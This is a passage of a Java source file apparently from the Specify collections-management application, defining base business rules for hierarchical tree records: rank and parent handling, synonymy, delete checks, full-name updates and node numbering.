edu.ku.brc.specify.datamodel.Discipline; import edu.ku.brc.specify.datamodel.SpTaskSemaphore; import edu.ku.brc.specify.datamodel.TreeDefIface; import edu.ku.brc.specify.datamodel.TreeDefItemIface; import edu.ku.brc.specify.datamodel.TreeDefItemStandardEntry; import edu.ku.brc.specify.datamodel.Treeable; import edu.ku.brc.specify.dbsupport.TaskSemaphoreMgr; import edu.ku.brc.specify.dbsupport.TaskSemaphoreMgr.USER_ACTION; import edu.ku.brc.specify.dbsupport.TaskSemaphoreMgrCallerIFace; import edu.ku.brc.specify.dbsupport.TreeDefStatusMgr; import edu.ku.brc.specify.treeutils.TreeDataService; import edu.ku.brc.specify.treeutils.TreeDataServiceFactory; import edu.ku.brc.specify.treeutils.TreeHelper; import edu.ku.brc.ui.GetSetValueIFace; import edu.ku.brc.ui.UIRegistry; /** * @author rod * * (original author was JDS) * * @code_status Alpha * * Jan 10, 2008 * * @param <T> * @param <D> * @param <I> */ public abstract class BaseTreeBusRules<T extends Treeable<T,D,I>, D extends TreeDefIface<T,D,I>, I extends TreeDefItemIface<T,D,I>> extends AttachmentOwnerBaseBusRules { public static final boolean ALLOW_CONCURRENT_FORM_ACCESS = true; public static final long FORM_SAVE_LOCK_MAX_DURATION_IN_MILLIS = 60000; private static final Logger log = Logger.getLogger(BaseTreeBusRules.class); private boolean processedRules = false; /** * Constructor. * * @param dataClasses a var args list of classes that this business rules implementation handles */ public BaseTreeBusRules(Class<?>... dataClasses) { super(dataClasses); } /* (non-Javadoc) * @see edu.ku.brc.ui.forms.BaseBusRules#initialize(edu.ku.brc.ui.forms.Viewable) */ @Override public void initialize(Viewable viewableArg) { super.initialize(viewableArg); GetSetValueIFace parentField = (GetSetValueIFace)formViewObj.getControlByName("parent"); Component comp = formViewObj.getControlByName("definitionItem"); if (comp instanceof ValComboBox) { final ValComboBox rankComboBox = (ValComboBox)comp; final JCheckBox acceptedCheckBox = (JCheckBox)formViewObj.getControlByName("isAccepted"); Component apComp = formViewObj.getControlByName("acceptedParent"); final ValComboBoxFromQuery acceptedParentWidget = apComp instanceof ValComboBoxFromQuery ? (ValComboBoxFromQuery )apComp : null; if (parentField instanceof ValComboBoxFromQuery) { final ValComboBoxFromQuery parentCBX = (ValComboBoxFromQuery)parentField; if (parentCBX != null && rankComboBox != null) { parentCBX.addListSelectionListener(new ListSelectionListener() { public void valueChanged(ListSelectionEvent e) { if (e == null || !e.getValueIsAdjusting()) { parentChanged(formViewObj, parentCBX, rankComboBox, acceptedCheckBox, acceptedParentWidget); } } }); rankComboBox.getComboBox().addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent e) { rankChanged(formViewObj, parentCBX, rankComboBox, acceptedCheckBox, acceptedParentWidget); } }); } } if (acceptedCheckBox != null && acceptedParentWidget != null) { acceptedCheckBox.addItemListener(new ItemListener() { public void itemStateChanged(ItemEvent e) { if (acceptedCheckBox.isSelected()) { acceptedParentWidget.setValue(null, null); acceptedParentWidget.setChanged(true); // This should be done automatically acceptedParentWidget.setEnabled(false); } else { acceptedParentWidget.setEnabled(true); } } }); } } } /** * @return list of foreign key relationships for purposes of checking * if a record can be deleted. * The list contains two entries for each relationship. The first entry * is the related table name. The second is the name of the foreign key field in the related table. */ public abstract String[] getRelatedTableAndColumnNames(); /** * @return list of ass foreign key relationships. * The list contains two entries for each relationship. The first entry * is the related table name. The second is the name of the foreign key field in the related table. */ public String[] getAllRelatedTableAndColumnNames() { return getRelatedTableAndColumnNames(); } /* (non-Javadoc) * @see edu.ku.brc.af.ui.forms.BaseBusRules#okToEnableDelete(java.lang.Object) */ @SuppressWarnings("unchecked") @Override public boolean okToEnableDelete(Object dataObj) { // This is a little weak and chessey, but it gets the job done. // Becase both the Tree and Definition want/need to share Business Rules. String viewName = formViewObj.getView().getName(); if (StringUtils.contains(viewName, "TreeDef")) { final I treeDefItem = (I)dataObj; if (treeDefItem != null && treeDefItem.getTreeDef() != null) { return treeDefItem.getTreeDef().isRequiredLevel(treeDefItem.getRankId()); } } return super.okToEnableDelete(dataObj); } /** * @param node * @return */ @SuppressWarnings("unchecked") public boolean okToDeleteNode(T node) { if (node.getDefinition() != null && !node.getDefinition().getNodeNumbersAreUpToDate() && !node.getDefinition().isUploadInProgress()) { //Scary. If nodes are not up to date, tree rules may not work. //The application should prevent edits to items/trees whose tree numbers are not up to date except while uploading //workbenches. throw new RuntimeException(node.getDefinition().getName() + " has out of date node numbers."); } if (node.getDefinition() != null && node.getDefinition().isUploadInProgress()) { //don't think this will ever get called during an upload/upload-undo, but just in case. return true; } Integer id = node.getTreeId(); if (id == null) { return true; } String[] relationships = getRelatedTableAndColumnNames(); // if the given node can't be deleted, return false if (!super.okToDelete(relationships, node.getTreeId())) { return false; } // now check the children // get a list of all descendent IDs DataProviderSessionIFace session = null; List<Integer> childIDs = null; try { session = DataProviderFactory.getInstance().createSession(); String queryStr = "SELECT n.id FROM " + node.getClass().getName() + " n WHERE n.nodeNumber <= :highChild AND n.nodeNumber > :nodeNum ORDER BY n.rankId DESC"; QueryIFace query = session.createQuery(queryStr, false); query.setParameter("highChild", node.getHighestChildNodeNumber()); query.setParameter("nodeNum", node.getNodeNumber()); childIDs = (List<Integer>)query.list(); } catch (Exception ex) { edu.ku.brc.exceptions.ExceptionTracker.getInstance().capture(BaseTreeBusRules.class, ex); // Error Dialog ex.printStackTrace(); } finally { if (session != null) { session.close(); } } // if there are no descendent nodes, return true if (childIDs != null && childIDs.size() == 0) { return true; } // break the descendent checks up into chunks or queries // This is an arbitrary number. Trial and error will determine a good value. This determines // the number of IDs that wind up in the "IN" clause of the query run inside okToDelete(). int chunkSize = 250; int lastRecordChecked = -1; boolean childrenDeletable = true; while (lastRecordChecked + 1 < childIDs.size() && childrenDeletable) { int startOfChunk = lastRecordChecked + 1; int endOfChunk = Math.min(lastRecordChecked+1+chunkSize, childIDs.size()); // grabs selected subset, exclusive of the last index List<Integer> chunk = childIDs.subList(startOfChunk, endOfChunk); Integer[] idChunk = chunk.toArray(new Integer[1]); childrenDeletable = super.okToDelete(relationships, idChunk); lastRecordChecked = endOfChunk - 1; } return childrenDeletable; } @Override protected String getExtraWhereColumns(DBTableInfo tableInfo) { String result = super.getExtraWhereColumns(tableInfo); if (CollectionMember.class.isAssignableFrom(tableInfo.getClassObj())) { Vector<Object> cols = BasicSQLUtils.querySingleCol("select distinct CollectionID from collection " + "where DisciplineID = " + AppContextMgr.getInstance().getClassObject(Discipline.class).getId()); if (cols != null) { String colList = ""; for (Object col : cols) { if (!"".equals(colList)) { colList += ","; } colList += col; } if (!"".equals(colList)) { result = "((" + result + ") or " + tableInfo.getAbbrev() + ".CollectionMemberID in(" + colList + "))"; } } } return result; } @SuppressWarnings("unchecked") protected void rankChanged(final FormViewObj form, final ValComboBoxFromQuery parentComboBox, final ValComboBox rankComboBox, final JCheckBox acceptedCheckBox, final ValComboBoxFromQuery acceptedParentWidget) { if (form.getAltView().getMode() != CreationMode.EDIT) { return; } //log.debug("form was validated: calling adjustRankComboBoxModel()"); Object objInForm = form.getDataObj(); //log.debug("form data object = " + objInForm); if (objInForm == null) { return; } final T formNode = (T)objInForm; T parent = null; if (parentComboBox.getValue() instanceof String) { // the data is still in the VIEW mode for some reason log.debug("Form is in mode (" + form.getAltView().getMode() + ") but the parent data is a String"); parentComboBox.getValue(); parent = formNode.getParent(); } else { parent = (T)parentComboBox.getValue(); } final T theParent = parent; I rankObj = (I )rankComboBox.getValue(); final int rank = rankObj == null ? -2 : rankObj.getRankId(); SwingUtilities.invokeLater(new Runnable() { public void run() { boolean canSynonymize = false; if (canAccessSynonymy(formNode, rank)) { canSynonymize = formNode.getDefinition() != null && formNode.getDefinition() .getSynonymizedLevel() <= rank && formNode.getDescendantCount() == 0; } if (acceptedCheckBox != null && acceptedParentWidget != null) { acceptedCheckBox.setEnabled(canSynonymize && theParent != null); if (acceptedCheckBox.isSelected() && acceptedCheckBox.isEnabled()) { acceptedParentWidget.setValue(null, null); acceptedParentWidget.setChanged(true); // This should be done automatically acceptedParentWidget.setEnabled(false); } } form.getValidator().validateForm(); } }); } @SuppressWarnings("unchecked") protected void parentChanged(final FormViewObj form, final ValComboBoxFromQuery parentComboBox, final ValComboBox rankComboBox, final JCheckBox acceptedCheckBox, final ValComboBoxFromQuery acceptedParentWidget) { if (form.getAltView().getMode() != CreationMode.EDIT) { return; } //log.debug("form was validated: calling adjustRankComboBoxModel()"); Object objInForm = form.getDataObj(); //log.debug("form data object = " + objInForm); if (objInForm == null) { return; } final T formNode = (T)objInForm; // set the contents of this combobox based on the value chosen as the parent adjustRankComboBoxModel(parentComboBox, rankComboBox, formNode); T parent = null; if (parentComboBox.getValue() instanceof String) { // the data is still in the VIEW mode for some reason log.debug("Form is in mode (" + form.getAltView().getMode() + ") but the parent data is a String"); parentComboBox.getValue(); parent = formNode.getParent(); } else { parent = (T)parentComboBox.getValue(); } // set the tree def for the object being edited by using the parent node's tree def // set the parent too??? (lookups for the AcceptedParent QueryComboBox need this) if (parent != null) { formNode.setDefinition(parent.getDefinition()); formNode.setParent(parent); } SwingUtilities.invokeLater(new Runnable() { public void run() { boolean rnkEnabled = rankComboBox.getComboBox().getModel().getSize() > 0; rankComboBox.setEnabled(rnkEnabled); JLabel label = form.getLabelFor(rankComboBox); if (label != null) { label.setEnabled(rnkEnabled); } if (rankComboBox.hasFocus() && !rnkEnabled) { parentComboBox.requestFocus(); } rankChanged(formViewObj, parentComboBox, rankComboBox, acceptedCheckBox, acceptedParentWidget); form.getValidator().validateForm(); } }); } /** * @param parentField * @param rankComboBox * @param nodeInForm */ @SuppressWarnings("unchecked") protected void adjustRankComboBoxModel(final GetSetValueIFace parentField, final ValComboBox rankComboBox, final T nodeInForm) { log.debug("Adjusting the model for the 'rank' combo box in a tree node form"); if (nodeInForm == null) { return; } log.debug("nodeInForm = " + nodeInForm.getName()); DefaultComboBoxModel<I> model = (DefaultComboBoxModel<I>)rankComboBox.getModel(); model.removeAllElements(); // this is the highest rank the edited item can possibly be I topItem = null; // this is the lowest rank the edited item can possibly be I bottomItem = null; Object value = parentField.getValue(); T parent = null; if (value instanceof String) { // this happens when the combobox is in view mode, which means it's really a textfield // in that case, the parent of the node in the form will do, since the user can't change the parents parent = nodeInForm.getParent(); } else { parent = (T)parentField.getValue(); } if (parent == null) { return; } // grab all the def items from just below the parent's item all the way to the next enforced level // or to the level of the highest ranked child topItem = parent.getDefinitionItem().getChild(); log.debug("highest valid tree level: " + topItem); if (topItem == null) { // this only happens if a parent was chosen that cannot have children b/c it is at the // lowest defined level in the tree log.warn("Chosen node cannot be a parent node. It is at the lowest defined level of the tree."); return; } // find the child with the highest rank and set that child's def item as the bottom of the range if (!nodeInForm.getChildren().isEmpty()) { for (T child: nodeInForm.getChildren()) { if (bottomItem==null || child.getRankId()>bottomItem.getRankId()) { bottomItem = child.getDefinitionItem().getParent(); } } } log.debug("lowest valid tree level: " + bottomItem); I item = topItem; boolean done = false; while (!done) { model.addElement(item); if (item.getChild()==null || item.getIsEnforced()==Boolean.TRUE || (bottomItem != null && item.getRankId().intValue()==bottomItem.getRankId().intValue()) ) { done = true; } item = item.getChild(); } if (nodeInForm.getDefinitionItem() != null) { I defItem = nodeInForm.getDefinitionItem(); for (int i = 0; i < model.getSize(); ++i) { I modelItem = (I)model.getElementAt(i); if (modelItem.getRankId().equals(defItem.getRankId())) { log.debug("setting rank selected value to " + modelItem); model.setSelectedItem(modelItem); } } // if (model.getIndexOf(defItem) != -1) // { // model.setSelectedItem(defItem); // } } else if (model.getSize() == 1) { Object defItem = model.getElementAt(0); log.debug("setting rank selected value to the only available option: " + defItem); model.setSelectedItem(defItem); } } /* (non-Javadoc) * @see edu.ku.brc.ui.forms.BaseBusRules#afterFillForm(java.lang.Object) */ @SuppressWarnings("unchecked") @Override public void afterFillForm(final Object dataObj) { // This is a little weak and cheesey, but it gets the job done. // Because both the Tree and Definition want/need to share Business Rules. String viewName = formViewObj.getView().getName(); if (StringUtils.contains(viewName, "TreeDef")) { if (formViewObj.getAltView().getMode() != CreationMode.EDIT) { // when we're not in edit mode, we don't need to setup any listeners since the user can't change anything //log.debug("form is not in edit mode: no special listeners will be attached"); return; } if (!StringUtils.contains(viewName, "TreeDefItem")) { return; } final I nodeInForm = (I)formViewObj.getDataObj(); //disable FullName -related fields if TreeDefItem is used by nodes in the tree //NOTE: Can remove the edit restriction. Tree rebuilds now update fullname fields. Need to add tree rebuild after fullname def edits. if (nodeInForm != null && nodeInForm.getTreeDef() != null) { // boolean canNOTEditFullNameFlds = nodeInForm.hasTreeEntries(); // if (canNOTEditFullNameFlds) // { // ValTextField ftCtrl = (ValTextField )formViewObj.getControlByName("textAfter"); // if (ftCtrl != null) // { // ftCtrl.setEnabled(false); // } // ftCtrl = (ValTextField )formViewObj.getControlByName("textBefore"); // if (ftCtrl != null) // { // ftCtrl.setEnabled(false); // } // ftCtrl = (ValTextField )formViewObj.getControlByName("fullNameSeparator"); // if (ftCtrl != null) // { // ftCtrl.setEnabled(false); // } // ValCheckBox ftBox = (ValCheckBox )formViewObj.getControlByName("isInFullName"); // if (ftBox != null) // { // ftBox.setEnabled(false); // } // } if (!viewName.endsWith("TreeDefItem")) { return; } //disabling editing of name and rank for standard levels. List<TreeDefItemStandardEntry> stds = nodeInForm.getTreeDef().getStandardLevels(); TreeDefItemStandardEntry stdLevel = null; for (TreeDefItemStandardEntry std : stds) { //if (std.getTitle().equals(nodeInForm.getName()) && std.getRank() == nodeInForm.getRankId()) if (std.getRank() == nodeInForm.getRankId()) { stdLevel = std; break; } } if (stdLevel != null) { ValTextField nameCtrl = (ValTextField )formViewObj.getControlByName("name"); Component rankCtrl = formViewObj.getControlByName("rankId"); if (nameCtrl != null) { nameCtrl.setEnabled(false); } if (rankCtrl != null) { rankCtrl.setEnabled(false); } if (nodeInForm.getTreeDef().isRequiredLevel(stdLevel.getRank())) { Component enforcedCtrl = formViewObj.getControlByName("isEnforced"); if (enforcedCtrl != null) { enforcedCtrl.setEnabled(false); } } } } return; } final T nodeInForm = (T) formViewObj.getDataObj(); if (formViewObj.getAltView().getMode() != CreationMode.EDIT) { if (nodeInForm != null) { //XXX this MAY be necessary due to a bug with TextFieldFromPickListTable?? // TextFieldFromPickListTable.setValue() does nothing because of a null adapter member. Component comp = formViewObj.getControlByName("definitionItem"); if (comp instanceof JTextField) { ((JTextField )comp).setText(nodeInForm.getDefinitionItem().getName()); } } } else { processedRules = false; GetSetValueIFace parentField = (GetSetValueIFace) formViewObj .getControlByName("parent"); Component comp = formViewObj.getControlByName("definitionItem"); if (comp instanceof ValComboBox) { final ValComboBox rankComboBox = (ValComboBox) comp; if (parentField instanceof ValComboBoxFromQuery) { final ValComboBoxFromQuery parentCBX = (ValComboBoxFromQuery) parentField; if (parentCBX != null && rankComboBox != null && nodeInForm != null) { parentCBX.registerQueryBuilder(new TreeableSearchQueryBuilder(nodeInForm, rankComboBox, TreeableSearchQueryBuilder.PARENT)); } } if (nodeInForm != null && nodeInForm.getDefinitionItem() != null) { // log.debug("node in form already has a set rank: forcing a call to // adjustRankComboBoxModel()"); UIValidator.setIgnoreAllValidation(this, true); adjustRankComboBoxModel(parentField, rankComboBox, nodeInForm); UIValidator.setIgnoreAllValidation(this, false); } // TODO: the form system MUST require the accepted parent widget to be present if // the // isAccepted checkbox is present final JCheckBox acceptedCheckBox = (JCheckBox) formViewObj .getControlByName("isAccepted"); final ValComboBoxFromQuery acceptedParentWidget = (ValComboBoxFromQuery) formViewObj .getControlByName("acceptedParent"); if (canAccessSynonymy(nodeInForm)) { if (acceptedCheckBox != null && acceptedParentWidget != null) { if (acceptedCheckBox.isSelected() && nodeInForm != null && nodeInForm.getDefinition() != null) { // disable if necessary boolean canSynonymize = nodeInForm.getDefinition() .getSynonymizedLevel() <= nodeInForm .getRankId() && nodeInForm.getDescendantCount() == 0; acceptedCheckBox.setEnabled(canSynonymize); } acceptedParentWidget.setEnabled(!acceptedCheckBox .isSelected() && acceptedCheckBox.isEnabled()); if (acceptedCheckBox.isSelected()) { acceptedParentWidget.setValue(null, null); } if (nodeInForm != null && acceptedParentWidget != null && rankComboBox != null) { acceptedParentWidget .registerQueryBuilder(new TreeableSearchQueryBuilder( nodeInForm, rankComboBox, TreeableSearchQueryBuilder.ACCEPTED_PARENT)); } } } else { if (acceptedCheckBox != null) { acceptedCheckBox.setEnabled(false); } if (acceptedParentWidget != null) { acceptedParentWidget.setEnabled(false); } } if (parentField instanceof ValComboBoxFromQuery) { parentChanged(formViewObj, (ValComboBoxFromQuery) parentField, rankComboBox, acceptedCheckBox, acceptedParentWidget); } } } } /** * @param tableInfo * * @return Select (i.e. everything before where clause) of sqlTemplate */ protected String getSqlSelectTemplate(final DBTableInfo tableInfo) { StringBuilder sb = new StringBuilder(); sb.append("select %s1 FROM "); //$NON-NLS-1$ sb.append(tableInfo.getClassName()); sb.append(" as "); //$NON-NLS-1$ sb.append(tableInfo.getAbbrev()); String joinSnipet = QueryAdjusterForDomain.getInstance().getJoinClause(tableInfo, true, null, false); //arg 2: false means SQL if (joinSnipet != null) { sb.append(' '); sb.append(joinSnipet); } sb.append(' '); return sb.toString(); } /** * @param dataObj * * return true if acceptedParent and accepted fields should be enabled on data forms. */ @SuppressWarnings("unchecked") protected boolean canAccessSynonymy(final T dataObj) { if (dataObj == null) { return false; //?? } if (dataObj.getChildren().size() > 0) { return false; } TreeDefItemIface<?,?,?> defItem = dataObj.getDefinitionItem(); if (defItem == null) { return false; //??? } TreeDefIface<?,?,?> def = dataObj.getDefinition(); if (def == null) { def = ((SpecifyAppContextMgr )AppContextMgr.getInstance()).getTreeDefForClass((Class<? extends Treeable<?,?,?>> )dataObj.getClass()); } if (!def.isSynonymySupported()) { return false; } return defItem.getRankId() >= def.getSynonymizedLevel(); } /** * @param dataObj * @param rank * @return true if the rank is synonymizable according to the relevant TreeDefinition * * For use when dataObj's rank has not yet been assigned or updated. */ @SuppressWarnings("unchecked") protected boolean canAccessSynonymy(final T dataObj, final int rank) { if (dataObj == null) { return false; //?? } if (dataObj.getChildren().size() > 0) { return false; } TreeDefIface<?,?,?> def = ((SpecifyAppContextMgr )AppContextMgr.getInstance()).getTreeDefForClass((Class<? extends Treeable<?,?,?>> )dataObj.getClass()); if (!def.isSynonymySupported()) { return false; } return rank >= def.getSynonymizedLevel(); } /** * Updates the fullname field of any nodes effected by changes to <code>node</code> that are about * to be saved to the DB. * * @param node * @param session * @param nameChanged * @param parentChanged * @param rankChanged */ @SuppressWarnings("unchecked") protected void updateFullNamesIfNecessary(T node, DataProviderSessionIFace session) { if (!(node.getDefinition().getDoNodeNumberUpdates() && node.getDefinition().getNodeNumbersAreUpToDate())) { return; } if (node.getTreeId() == null) { // this is a new node // it shouldn't need updating since we set the fullname at creation time return; } boolean updateNodeFullName = false; boolean updateDescFullNames = false; // we need a way to determine if the name changed // load a fresh copy from the DB and get the values needed for comparison DataProviderSessionIFace tmpSession = DataProviderFactory.getInstance().createSession(); T fromDB = (T)tmpSession.get(node.getClass(), node.getTreeId()); tmpSession.close(); if (fromDB == null) { // this node is new and hasn't yet been flushed to the DB, so we don't need to worry about updating fullnames //return; fromDB = node; } T origParent = fromDB.getParent(); boolean parentChanged = false; T currentParent = node.getParent(); if ((currentParent == null && origParent != null) || (currentParent != null && origParent == null)) { // I can't imagine how this would ever happen, but just in case parentChanged = true; } if (currentParent != null && origParent != null && !currentParent.getTreeId().equals(origParent.getTreeId())) { // the parent ID changed parentChanged = true; } boolean higherLevelsIncluded = false; if (parentChanged) { higherLevelsIncluded = higherLevelsIncludedInFullname(node); higherLevelsIncluded |= higherLevelsIncludedInFullname(fromDB); } if (parentChanged && higherLevelsIncluded) { updateNodeFullName = true; updateDescFullNames = true; } boolean nameChanged = !(fromDB.getName().equals(node.getName())); boolean rankChanged = !(fromDB.getRankId().equals(node.getRankId())); if (rankChanged || nameChanged) { updateNodeFullName = true; if (booleanValue(fromDB.getDefinitionItem().getIsInFullName(), false) == true) { updateDescFullNames = true; } if (booleanValue(node.getDefinitionItem().getIsInFullName(), false) == true) { updateDescFullNames = true; } } else if (fromDB == node) { updateNodeFullName = true; } if (updateNodeFullName) { if (updateDescFullNames) { // this could take a long time TreeHelper.fixFullnameForNodeAndDescendants(node); } else { // this should be really fast String fullname = TreeHelper.generateFullname(node); node.setFullName(fullname); } } } protected boolean higherLevelsIncludedInFullname(T node) { boolean higherLevelsIncluded = false; // this doesn't necessarily mean the fullname has to be changed // if no higher levels are included in the fullname, then nothing needs updating // so, let's see if higher levels factor into the fullname T l = node.getParent(); while (l != null) { if ((l.getDefinitionItem().getIsInFullName() != null) && (l.getDefinitionItem().getIsInFullName().booleanValue() == true)) { higherLevelsIncluded = true; break; } l = l.getParent(); } return higherLevelsIncluded; } /* (non-Javadoc) * @see edu.ku.brc.specify.datamodel.busrules.BaseBusRules#beforeSave(java.lang.Object, edu.ku.brc.dbsupport.DataProviderSessionIFace) */ @SuppressWarnings("unchecked") @Override public void beforeSave(Object dataObj, DataProviderSessionIFace session) { super.beforeSave(dataObj, session); if (dataObj instanceof Treeable) { // NOTE: the instanceof check can't check against 'T' since T isn't a class // this has a SMALL amount of risk to it T node = (T)dataObj; if (!node.getDefinition().getNodeNumbersAreUpToDate() && !node.getDefinition().isUploadInProgress()) { //Scary. If nodes are not up to date, tree rules may not work (actually this one is OK. (for now)). //The application should prevent edits to items/trees whose tree numbers are not up to date except while uploading //workbenches. throw new RuntimeException(node.getDefinition().getName() + " has out of date node numbers."); } // set it's fullname String fullname = TreeHelper.generateFullname(node); node.setFullName(fullname); } } /* (non-Javadoc) * @see edu.ku.brc.specify.datamodel.busrules.BaseBusRules#afterSaveCommit(java.lang.Object) */ @SuppressWarnings("unchecked") @Override public boolean beforeSaveCommit(final Object dataObj, final DataProviderSessionIFace session) throws Exception { // PLEASE NOTE! // If any changes are made to this check to make sure no one (Like GeologicTimePeriod) is overriding this method // and make the appropriate changes there also. if (!super.beforeSaveCommit(dataObj, session)) { return false; } boolean success = true; // compare the dataObj values to the nodeBeforeSave values to determine if a node was moved or added if (dataObj instanceof Treeable) { // NOTE: the instanceof check can't check against 'T' since T isn't a class // this has a SMALL amount of risk to it T node = (T)dataObj; if (!node.getDefinition().getNodeNumbersAreUpToDate() && !node.getDefinition().isUploadInProgress()) { //Scary. If nodes are not up to date, tree rules may not work. //The application should prevent edits to items/trees whose tree numbers are not up to date except while uploading //workbenches. throw new RuntimeException(node.getDefinition().getName() + " has out of date node numbers."); } // if the node doesn't have any assigned node number, it must be new boolean added = (node.getNodeNumber() == null); if (node.getDefinition().getDoNodeNumberUpdates() && node.getDefinition().getNodeNumbersAreUpToDate()) { log.info("Saved tree node was added. Updating node numbers appropriately."); TreeDataService<T,D,I> dataServ = TreeDataServiceFactory.createService(); if (added) { success = dataServ.updateNodeNumbersAfterNodeAddition(node, session); } else { success = dataServ.updateNodeNumbersAfterNodeEdit(node, session); } } else { node.getDefinition().setNodeNumbersAreUpToDate(false); } } return success; } /* (non-Javadoc) * @see edu.ku.brc.af.ui.forms.BaseBusRules#beforeDeleteCommit(java.lang.Object, edu.ku.brc.dbsupport.DataProviderSessionIFace) */ /* * NOTE: If this method is overridden, freeLocks() MUST be called when result is false * !! * */ @Override public boolean beforeDeleteCommit(Object dataObj, DataProviderSessionIFace session) throws Exception { if (!super.beforeDeleteCommit(dataObj, session)) { return false; } if (dataObj != null && (formViewObj == null || !StringUtils.contains(formViewObj.getView().getName(), "TreeDef")) && BaseTreeBusRules.ALLOW_CONCURRENT_FORM_ACCESS && viewable != null) { return getRequiredLocks(dataObj); } else { return true; } } /* (non-Javadoc) * @see edu.ku.brc.ui.forms.BaseBusRules#afterDeleteCommit(java.lang.Object) */ @SuppressWarnings("unchecked") @Override public void afterDeleteCommit(Object dataObj) { try { if (dataObj instanceof Treeable) { // NOTE: the instanceof check can't check against 'T' since T // isn't a class // this has a SMALL amount of risk to it T node = (T) dataObj; if (!node.getDefinition().getNodeNumbersAreUpToDate() && !node.getDefinition().isUploadInProgress()) { // Scary. If nodes are not up to date, tree rules may not // work. // The application should prevent edits to items/trees whose // tree numbers are not up to date except while uploading // workbenches. throw new RuntimeException(node.getDefinition().getName() + " has out of date node numbers."); } if (node.getDefinition().getDoNodeNumberUpdates() && node.getDefinition().getNodeNumbersAreUpToDate()) { log .info("A tree node was deleted. Updating node numbers appropriately."); TreeDataService<T, D, I> dataServ = TreeDataServiceFactory .createService(); // apparently a refresh() is necessary. node can hold // obsolete values otherwise. // Possibly needs to be done for all business rules?? DataProviderSessionIFace session = null; try { session = DataProviderFactory.getInstance() .createSession(); // rods - 07/28/08 commented out because the node is // already deleted // session.refresh(node); dataServ.updateNodeNumbersAfterNodeDeletion(node, session); } catch (Exception ex) { edu.ku.brc.exceptions.ExceptionTracker.getInstance() .capture(BaseTreeBusRules.class, ex); ex.printStackTrace(); } finally { if (session != null) { session.close(); } } } else { node.getDefinition().setNodeNumbersAreUpToDate(false); } } } finally { if (BaseTreeBusRules.ALLOW_CONCURRENT_FORM_ACCESS && viewable != null) { this.freeLocks(); } } } /** * Handles the {@link #beforeSave(Object)} method if the passed in {@link Object} * is an instance of {@link TreeDefItemIface}. The real work of this method is to * update the 'fullname' field of all {@link Treeable} objects effected by the changes * to the passed in {@link TreeDefItemIface}. * * @param defItem the {@link TreeDefItemIface} being saved */ @SuppressWarnings("unchecked") protected void beforeSaveTreeDefItem(I defItem) { // we need a way to determine if the 'isInFullname' value changed // load a fresh copy from the DB and get the values needed for comparison DataProviderSessionIFace tmpSession = DataProviderFactory.getInstance().createSession(); I fromDB = (I)tmpSession.load(defItem.getClass(), defItem.getTreeDefItemId()); tmpSession.close(); DataProviderSessionIFace session = DataProviderFactory.getInstance().createSession(); session.attach(defItem); boolean changeThisLevel = false; boolean changeAllDescendants = false; boolean fromDBIsInFullname = makeNotNull(fromDB.getIsInFullName()); boolean currentIsInFullname = makeNotNull(defItem.getIsInFullName()); if (fromDBIsInFullname != currentIsInFullname) { changeAllDescendants = true; } // look for changes in the 'textBefore', 'textAfter' or 'fullNameSeparator' fields String fromDbBeforeText = makeNotNull(fromDB.getTextBefore()); String fromDbAfterText = makeNotNull(fromDB.getTextAfter()); String fromDbSeparator = makeNotNull(fromDB.getFullNameSeparator()); String before = makeNotNull(defItem.getTextBefore()); String after = makeNotNull(defItem.getTextAfter()); String separator = makeNotNull(defItem.getFullNameSeparator()); boolean textFieldChanged = false; boolean beforeChanged = !before.equals(fromDbBeforeText); boolean afterChanged = !after.equals(fromDbAfterText); boolean sepChanged = !separator.equals(fromDbSeparator); if (beforeChanged || afterChanged || sepChanged) { textFieldChanged = true; } if (textFieldChanged) { if (currentIsInFullname) { changeAllDescendants = true; } changeThisLevel = true; } if (changeThisLevel && !changeAllDescendants) { Set<T> levelNodes = defItem.getTreeEntries(); for (T node: levelNodes) { String generated = TreeHelper.generateFullname(node); node.setFullName(generated); } } else if (changeThisLevel && changeAllDescendants) { Set<T> levelNodes = defItem.getTreeEntries(); for (T node: levelNodes) { TreeHelper.fixFullnameForNodeAndDescendants(node); } } else if (!changeThisLevel && changeAllDescendants) { Set<T> levelNodes = defItem.getTreeEntries(); for (T node: levelNodes) { // grab all child nodes and go from there for (T child: node.getChildren()) { TreeHelper.fixFullnameForNodeAndDescendants(child); } } } // else don't change anything session.close(); } protected boolean booleanValue(Boolean bool, boolean defaultIfNull) { if (bool != null) { return bool.booleanValue(); } return defaultIfNull; } /** * Converts a null string into an empty string. If the provided String is not * null, it is returned unchanged. * * @param s a string * @return the string or " ", if null */ private String makeNotNull(String s) { return (s == null) ? "" : s; } /** * Returns the provided {@link Boolean}, or <code>false</code> if null * * @param b the {@link Boolean} to convert to non-null * @return the provided {@link Boolean}, or <code>false</code> if null */ private boolean makeNotNull(Boolean b) { return (b == null) ? false : b.booleanValue(); } /* (non-Javadoc) * @see edu.ku.brc.ui.forms.BaseBusRules#beforeDelete(java.lang.Object, edu.ku.brc.dbsupport.DataProviderSessionIFace) */ @Override public Object beforeDelete(Object dataObj, DataProviderSessionIFace session) { super.beforeDelete(dataObj, session); if (dataObj instanceof Treeable<?,?,?>) { Treeable<?, ?, ?> node = (Treeable<?,?,?> )dataObj; if (node.getAcceptedParent() != null) { node.getAcceptedParent().getAcceptedChildren().remove(node); node.setAcceptedParent(null); } } return dataObj; } /** * @param parentDataObj * @param dataObj * @return */ @SuppressWarnings("unchecked") protected boolean parentHasChildWithSameName(final Object parentDataObj, final Object dataObj) { if (dataObj instanceof Treeable<?,?,?>) { Treeable<T, D, I> node = (Treeable<T,D,I> )dataObj; Treeable<T, D, I> parent = parentDataObj == null ? node.getParent() : (Treeable<T, D, I> )parentDataObj; if (parent != null) { //XXX the sql below will only work if all Treeable tables use fields named 'isAccepted' and 'name' to store //the name and isAccepted properties. String tblName = DBTableIdMgr.getInstance().getInfoById(node.getTableId()).getName(); String sql = "SELECT count(*) FROM " + tblName + " where isAccepted " + "and name = " + BasicSQLUtils.getEscapedSQLStrExpr(node.getName()); if (parent.getTreeId() != null) { sql += " and parentid = " + parent.getTreeId(); } if (node.getTreeId() != null) { sql += " and " + tblName + "id != " + node.getTreeId(); } return BasicSQLUtils.getNumRecords(sql) > 0; } } return false; } /** * @param parentDataObj * @param dataObj * @param isExistingObject * @return */ @SuppressWarnings("unchecked") public STATUS checkForSiblingWithSameName(final Object parentDataObj, final Object dataObj, final boolean isExistingObject) { STATUS result = STATUS.OK; if (parentHasChildWithSameName(parentDataObj, dataObj)) { String parentName; if (parentDataObj == null) { parentName = ((Treeable<T,D,I> )dataObj).getParent().getFullName(); } else { parentName = ((Treeable<T,D,I> 